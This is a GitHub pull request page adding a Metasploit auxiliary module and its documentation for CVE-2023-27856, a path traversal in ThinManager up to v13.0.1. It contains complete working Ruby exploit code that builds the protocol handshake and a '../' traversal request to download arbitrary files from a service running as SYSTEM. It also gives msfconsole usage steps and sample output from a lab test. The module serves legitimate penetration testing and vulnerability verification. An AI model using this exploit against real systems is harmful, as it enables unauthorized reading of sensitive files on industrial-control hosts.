Skip to content

ThinManager Path Traversal Download (CVE-2023-27856) Module #20139

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open
wants to merge 2 commits into
base: master
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
@@ -0,0 +1,69 @@
## Vulnerable Application

This module exploits a path traversal vulnerability in ThinManager <= v13.0.1 (CVE-2023-27856) to download an arbitrary file from the
system.

The affected service listens by default on TCP port 2031 and runs in the context of NT AUTHORITY\SYSTEM.

**Limitation**: Some files may get mangled by the application during transit.

## Testing

The software can be obtained from
[the vendor](https://thinmanager.com/downloads/).

**Successfully tested on**

- ThinManager v13.0.1 on Windows 22H2
- ThinManager v13.0.0 on Windows 22H2
- ThinManager v12.1.5 on Windows 22H2
- ThinManager v11.1.4 on Windows 22H2
- ThinManager v10.0.2 on Windows 22H2

## Verification Steps

1. Install and run the application
2. Start `msfconsole` and run the following commands:

```
msf6 > use auxiliary/gather/thinmanager_traversal_download
msf6 auxiliary(gather/thinmanager_traversal_download) > set RHOSTS <IP>
msf6 auxiliary(gather/thinmanager_traversal_download) > set FILE <file to download>
msf6 auxiliary(gather/thinmanager_traversal_download) > run
```

This should retrieve the file as specified through FILE from the remote server.

## Options

### FILE
The file to download from the remote server.

## Scenarios

Running the exploit against ThinManager v13.0.1 on Windows 22H2 should result in an output similar to the following:

```
msf6 auxiliary(gather/thinmanager_traversal_download) > run
[*] Running module against 192.168.137.227

[*] 192.168.137.227:2031 - Running automatic check ("set AutoCheck false" to disable)
[!] 192.168.137.227:2031 - The service is running, but could not be validated.
[*] 192.168.137.227:2031 - Sending handshake...
[*] 192.168.137.227:2031 - Received handshake response.
[*] 192.168.137.227:2031 - Requesting /Windows/win.ini from 192.168.137.227
[+] 192.168.137.227:2031 - Received response from target.
[*] 192.168.137.227:2031 - File saved as loot: /home/asdf/.msf4/loot/20250506150022_default_192.168.137.227_thinmanager.file_334213.txt
[*] Auxiliary module execution completed

msf6 auxiliary(gather/thinmanager_traversal_download) > cat /home/asdf/.msf4/loot/20250506150027_default_192.168.137.227_thinmanager.file_381967.txt
[*] exec: cat /home/asdf/.msf4/loot/20250506150027_default_192.168.137.227_thinmanager.file_381967.txt

; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1
```
147 changes: 147 additions & 0 deletions modules/auxiliary/gather/thinmanager_traversal_download.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,147 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Report
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'ThinManager Path Traversal (CVE-2023-27856) Arbitrary File Download',
'Description' => %q{
This module exploits a path traversal vulnerability (CVE-2023-27856) in ThinManager <= v13.0.1 to retrieve arbitrary files from the system.

The affected service listens by default on TCP port 2031 and runs in the context of NT AUTHORITY\SYSTEM.
},
'Author' => [
'Michael Heinzl', # MSF Module
'Tenable' # Discovery and PoC
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2023-27856'],
['URL', 'https://www.tenable.com/security/research/tra-2023-13'],
['URL', 'https://rockwellautomation.custhelp.com/app/answers/answer_view/a_id/1138640']
],
'DisclosureDate' => '2023-04-05',
'DefaultOptions' => {
'RPORT' => 2031,
'SSL' => 'False'
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [],
'SideEffects' => [IOC_IN_LOGS]
}
)
)

register_options(
[
OptString.new('FILE', [false, 'The file to read from the target system.', '/Windows/win.ini']),
OptInt.new('DEPTH', [ true, 'The traversal depth. The FILE path will be prepended with ../ * DEPTH', 7 ])
]
)
end

def check
begin
connect
rescue Rex::ConnectionTimeout
print_error("Connection to #{datastore['RHOSTS']}:#{datastore['RPORT']} failed.")
return CheckCode::Unreachable
end

vprint_status('Sending handshake...')
handshake = [0x100].pack('V')
vprint_status(Rex::Text.to_hex_dump(handshake))
sock.put(handshake)

res = sock.get_once(4096, 5)
expected_header = "\x00\x04\x00\x01\x00\x00\x00\x08".b

if res&.start_with?(expected_header)
vprint_status('Received handshake response.')
vprint_status(Rex::Text.to_hex_dump(res))
disconnect
return Exploit::CheckCode::Detected
elsif res
vprint_status('Received unexpected handshake response:')
vprint_status(Rex::Text.to_hex_dump(res))
disconnect
return Exploit::CheckCode::Safe
else
disconnect
return Exploit::CheckCode::Unknown('No handshake response received.')
end
end

def mk_msg(msg_type, flags, data)
dlen = data.length
hdr = [msg_type, flags, dlen].pack('nnN')
hdr + data
end

def run
print_status('Sending handshake...')

begin
connect
rescue Rex::ConnectionTimeout => e
fail_with(Failure::Unreachable, "Connection to #{datastore['RHOSTS']}:#{datastore['RPORT']} failed: #{e.message}")
end

handshake = [0x100].pack('V')
vprint_status(Rex::Text.to_hex_dump(handshake))

begin
sock.put(handshake)
rescue StandardError => e
fail_with(Failure::UnexpectedReply, "Failed during handshake send: #{e.class} - #{e.message}")
end

res = sock.get
if res
print_status('Received handshake response.')
vprint_status(Rex::Text.to_hex_dump(res))
else
print_error('No handshake response received.')
fail_with(Failure::Unreachable, "Connection to #{datastore['RHOSTS']}:#{datastore['RPORT']} failed: #{e.message}")
end

data = [0xaa].pack('N')
traversal = '../' * datastore['DEPTH']
fname = datastore['FILE']
data << (traversal + fname)
data << "\x00"

req = mk_msg(8, 0x0001, data)
vprint_status(Rex::Text.to_hex_dump(req))

print_status("Requesting #{fname} from #{datastore['RHOSTS']}")
sock.put(req)

begin
res = sock.get
if res

print_good('Received response from target.')
vprint_status(Rex::Text.to_hex_dump(res)) if res
else
print_error('No response received from target.')
end
rescue StandardError => e
fail_with(Failure::TimeoutExpired, "Failed to receive response: #{e.class} - #{e.message}")
ensure
disconnect

path = store_loot('thinmanager.file', 'text/plain', datastore['RHOSTS'], res[16..], datastore['FILE'], 'File retrieved through ThinManager path traversal (CVE-2023-27856).')
print_status("File saved as loot: #{path}")
end
end
end
Loading